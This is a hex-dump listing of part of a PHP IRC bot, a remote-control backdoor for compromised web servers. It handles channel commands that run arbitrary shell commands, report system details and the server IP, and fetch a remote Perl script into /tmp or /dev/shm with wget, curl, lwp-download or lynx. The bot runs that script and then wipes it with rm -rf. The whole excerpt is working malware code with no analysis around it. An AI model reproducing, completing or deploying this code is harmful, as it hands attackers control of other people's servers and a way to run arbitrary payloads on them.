| 6368: | 09 | 24 | 72 | 65 | 74 | 75 | 72 | 6E | 64 | 61 | 74 | 61 | 20 | 3D | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 20 | 24 | 63 | 6F | 6D | 6D | 61 | | $returndata = $this->ex( $comma |
| 6400: | 6E | 64 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | | nd );
if( !empty( |
| 6432: | 24 | 72 | 65 | 74 | 75 | 72 | 6E | 64 | 61 | 74 | 61 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | | $returndata ) )
{
|
| 6464: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | |
$this->privmsg( $ |
| 6496: | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 65 | 78 | 65 | 63 | 20 | 5D | 20 | 27 | 2E | 24 | | this->get_chan( ), '[ exec ] '.$ |
| 6528: | 72 | 65 | 74 | 75 | 72 | 6E | 64 | 61 | 74 | 61 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | | returndata );
}
|
| 6560: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | | }
break; |
| 6592: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | |
}
case |
| 6624: | 22 | 69 | 6E | 66 | 6F | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | "info":
{
|
| 6656: | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 3D | 20 | 22 | 6F | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $safemode = "on";
|
| 6688: | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | | if( !$this->is_safe( ) )
|
| 6720: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | | {
$safemod |
| 6752: | 65 | 20 | 3D | 20 | 22 | 6F | 66 | 66 | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | e = "off";
}
|
| 6784: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | | $this->privmsg( $this->ge |
| 6816: | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 69 | 6E | 66 | 6F | 20 | 5D | 20 | 27 | 2E | 70 | 68 | 70 | 5F | 75 | 6E | 61 | 6D | 65 | | t_chan( ), '[ info ] '.php_uname |
| 6848: | 28 | 20 | 29 | 2E | 27 | 20 | 28 | 20 | 53 | 41 | 46 | 45 | 3A | 20 | 27 | 2E | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 2E | 27 | 20 | 29 | 27 | 20 | 29 | | ( ).' ( SAFE: '.$safemode.' )' ) |
| 6880: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ;
break;
|
| 6912: | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 73 | 61 | 66 | 65 | 22 | 3A | 0D | 0A | 09 | 09 | | }
case "safe":
|
| 6944: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | | {
$safemod |
| 6976: | 65 | 20 | 3D | 20 | 22 | 6F | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 74 | 68 | 69 | | e = "on";
if( !$thi |
| 7008: | 73 | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | | s->is_safe( ) )
{
|
| 7040: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 3D | 20 | 22 | 6F | 66 | 66 | 22 | 3B | 0D | | $safemode = "off";
|
| 7072: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | |
}
$thi |
| 7104: | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | | s->privmsg( $this->get_chan( ), |
| 7136: | 27 | 5B | 20 | 73 | 61 | 66 | 65 | 20 | 5D | 20 | 27 | 2E | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | '[ safe ] '.$safemode );
|
| 7168: | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | | break;
}
|
| 7200: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 75 | 6E | 61 | 6D | 65 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | case "uname":
|
| 7232: | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | | {
$this->privmsg( |
| 7264: | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 75 | 6E | 61 | 6D | 65 | 20 | 5D | 20 | 27 | | $this->get_chan( ), '[ uname ] ' |
| 7296: | 2E | 70 | 68 | 70 | 5F | 75 | 6E | 61 | 6D | 65 | 28 | 20 | 29 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | | .php_uname( ) );
br |
| 7328: | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | | eak;
}
c |
| 7360: | 61 | 73 | 65 | 20 | 22 | 70 | 65 | 72 | 6C | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | ase "perl":
{
|
| 7392: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 20 | 29 | 0D | 0A | | if( $this->is_safe( ) )
|
| 7424: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | | {
$thi |
| 7456: | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | | s->privmsg( $this->get_chan( ), |
| 7488: | 27 | 5B | 20 | 64 | 72 | 6F | 70 | 70 | 65 | 72 | 6C | 20 | 5D | 20 | 53 | 61 | 66 | 65 | 20 | 6D | 6F | 64 | 65 | 20 | 69 | 73 | 20 | 4F | 4E | 27 | 20 | 29 | | '[ dropperl ] Safe mode is ON' ) |
| 7520: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ;
break;
|
| 7552: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
|
| 7584: | 09 | 24 | 70 | 65 | 72 | 6C | 5F | 66 | 69 | 6C | 65 | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $perl_file = $mcmd[1];
|
| 7616: | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | |
if( !empty( $ |
| 7648: | 70 | 65 | 72 | 6C | 5F | 66 | 69 | 6C | 65 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | perl_file ) )
{
|
| 7680: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 61 | 72 | 73 | 65 | 64 | 5F | 75 | 72 | 6C | 20 | 3D | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | $parsed_url = $this-> |
| 7712: | 70 | 61 | 72 | 73 | 65 | 5F | 75 | 72 | 6C | 5F | 73 | 28 | 20 | 24 | 70 | 65 | 72 | 6C | 5F | 66 | 69 | 6C | 65 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | parse_url_s( $perl_file );
|
| 7744: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | |
$new_rem |
| 7776: | 6F | 74 | 65 | 20 | 3D | 20 | 24 | 70 | 61 | 72 | 73 | 65 | 64 | 5F | 75 | 72 | 6C | 5B | 20 | 27 | 73 | 63 | 68 | 65 | 6D | 65 | 27 | 20 | 5D | 2E | 27 | 3A | | ote = $parsed_url[ 'scheme' ].': |
| 7808: | 2F | 2F | 27 | 2E | 24 | 70 | 61 | 72 | 73 | 65 | 64 | 5F | 75 | 72 | 6C | 5B | 20 | 27 | 68 | 6F | 73 | 74 | 27 | 20 | 5D | 2E | 24 | 70 | 61 | 72 | 73 | 65 | | //'.$parsed_url[ 'host' ].$parse |
| 7840: | 64 | 5F | 75 | 72 | 6C | 5B | 20 | 27 | 64 | 69 | 72 | 27 | 20 | 5D | 2E | 27 | 2F | 27 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | d_url[ 'dir' ].'/';
|
| 7872: | 09 | 09 | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 20 | 09 | 3D | 20 | 24 | 70 | 61 | 72 | 73 | 65 | 64 | 5F | 75 | 72 | 6C | 5B | 20 | 27 | 66 | 69 | | $new_local = $parsed_url[ 'fi |
| 7904: | 6C | 65 | 27 | 20 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 09 | | le' ];
$file_type |
| 7936: | 3D | 20 | 24 | 70 | 61 | 72 | 73 | 65 | 64 | 5F | 75 | 72 | 6C | 5B | 20 | 27 | 66 | 69 | 6C | 65 | 5F | 65 | 78 | 74 | 27 | 20 | 5D | 3B | 0D | 0A | 09 | 09 | | = $parsed_url[ 'file_ext' ];
|
| 7968: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | |
$this- |
| 8000: | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 74 | 6D | 70 | 3B | 77 | 67 | 65 | 74 | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | | >ex('cd /tmp;wget '.$new_remote. |
| 8032: | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | | $new_local.';perl '.$new_local.' |
| 8064: | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | ;rm -rf *'.$file_type.'*');
|
| 8096: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 74 | 6D | 70 | 3B | 63 | 75 | 72 | | $this->ex('cd /tmp;cur |
| 8128: | 6C | 20 | 2D | 4F | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | | l -O '.$new_remote.$new_local.'; |
| 8160: | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | | perl '.$new_local.';rm -rf *'.$f |
| 8192: | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | | ile_type.'*');
$th |
| 8224: | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 74 | 6D | 70 | 3B | 6C | 77 | 70 | 2D | 64 | 6F | 77 | 6E | 6C | 6F | 61 | 64 | 20 | 27 | 2E | 24 | | is->ex('cd /tmp;lwp-download '.$ |
| 8256: | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | | new_remote.$new_local.';perl '.$ |
| 8288: | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | | new_local.';rm -rf *'.$file_type |
| 8320: | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | | .'*');
$this->ex(' |
| 8352: | 63 | 64 | 20 | 2F | 74 | 6D | 70 | 3B | 6C | 79 | 6E | 78 | 20 | 2D | 73 | 6F | 75 | 72 | 63 | 65 | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | | cd /tmp;lynx -source '.$new_remo |
| 8384: | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | | te.$new_local.';perl '.$new_loca |
| 8416: | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | | l.';rm -rf *'.$file_type.'*');
|
| 8448: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 64 | 65 | 76 | 2F | | $this->ex('cd /dev/ |
| 8480: | 73 | 68 | 6D | 3B | 77 | 67 | 65 | 74 | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | | shm;wget '.$new_remote.$new_loca |
| 8512: | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | | l.';perl '.$new_local.';rm -rf * |
| 8544: | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | '.$file_type.'*');
|
| 8576: | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 64 | 65 | 76 | 2F | 73 | 68 | 6D | 3B | 63 | 75 | 72 | 6C | 20 | 2D | 4F | 20 | | $this->ex('cd /dev/shm;curl -O |
| 8608: | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | | '.$new_remote.$new_local.';perl |
| 8640: | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | | '.$new_local.';rm -rf *'.$file_t |
| 8672: | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | | ype.'*');
$this->e |
| 8704: | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 64 | 65 | 76 | 2F | 73 | 68 | 6D | 3B | 6C | 77 | 70 | 2D | 64 | 6F | 77 | 6E | 6C | 6F | 61 | 64 | 20 | 27 | 2E | 24 | 6E | | x('cd /dev/shm;lwp-download '.$n |
| 8736: | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | | ew_remote.$new_local.';perl '.$n |
| 8768: | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | | ew_local.';rm -rf *'.$file_type. |
| 8800: | 27 | 2A | 27 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | | '*');
$this->ex('c |
| 8832: | 64 | 20 | 2F | 64 | 65 | 76 | 2F | 73 | 68 | 6D | 3B | 6C | 79 | 6E | 78 | 20 | 2D | 73 | 6F | 75 | 72 | 63 | 65 | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 72 | | d /dev/shm;lynx -source '.$new_r |
| 8864: | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 70 | 65 | 72 | 6C | 20 | 27 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | | emote.$new_local.';perl '.$new_l |
| 8896: | 6F | 63 | 61 | 6C | 2E | 27 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 27 | 29 | | ocal.';rm -rf *'.$file_type.'*') |
| 8928: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 74 | | ;
$this->ex('cd /t |
| 8960: | 6D | 70 | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 2A | 27 | 29 | 3B | 0D | 0A | | mp;rm -rf *'.$file_type.'**');
|
| 8992: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 27 | 63 | 64 | 20 | 2F | 64 | 65 | 76 | 2F | | $this->ex('cd /dev/ |
| 9024: | 73 | 68 | 6D | 3B | 72 | 6D | 20 | 2D | 72 | 66 | 20 | 2A | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 5F | 74 | 79 | 70 | 65 | 2E | 27 | 2A | 2A | 27 | 29 | 3B | 0D | | shm;rm -rf *'.$file_type.'**');
|
| 9056: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | |
$th |
| 9088: | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | | is->privmsg( $this->get_chan( ), |
| 9120: | 20 | 27 | 5B | 20 | 65 | 78 | 65 | 63 | 72 | 66 | 69 | 20 | 5D | 20 | 45 | 78 | 65 | 63 | 75 | 74 | 65 | 64 | 20 | 66 | 69 | 6C | 65 | 20 | 27 | 2E | 24 | 6E | | '[ execrfi ] Executed file '.$n |
| 9152: | 65 | 77 | 5F | 72 | 65 | 6D | 6F | 74 | 65 | 2E | 24 | 6E | 65 | 77 | 5F | 6C | 6F | 63 | 61 | 6C | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ew_remote.$new_local );
|
| 9184: | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | | break;
}
|
| 9216: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | |
$this->pr |
| 9248: | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 65 | 78 | | ivmsg( $this->get_chan( ), '[ ex |
| 9280: | 65 | 63 | 72 | 66 | 69 | 20 | 5D | 20 | 46 | 61 | 69 | 6C | 75 | 72 | 65 | 20 | 65 | 78 | 65 | 63 | 75 | 74 | 69 | 6E | 67 | 20 | 27 | 2E | 24 | 70 | 65 | 72 | | ecrfi ] Failure executing '.$per |
| 9312: | 6C | 5F | 66 | 69 | 6C | 65 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | | l_file );
break;
|
| 9344: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 69 | 70 | | }
case "ip |
| 9376: | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | | ":
{
$t |
| 9408: | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | | his->privmsg( $this->get_chan( ) |
| 9440: | 2C | 20 | 27 | 5B | 20 | 69 | 70 | 20 | 5D | 20 | 27 | 2E | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 27 | 53 | 45 | 52 | 56 | 45 | 52 | 5F | 41 | 44 | 44 | | , '[ ip ] '.$_SERVER['SERVER_ADD |
| 9472: | 52 | 27 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | R'] );
break;
|
| 9504: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 72 | 66 | 69 | 22 | 3A | | }
case "rfi": |
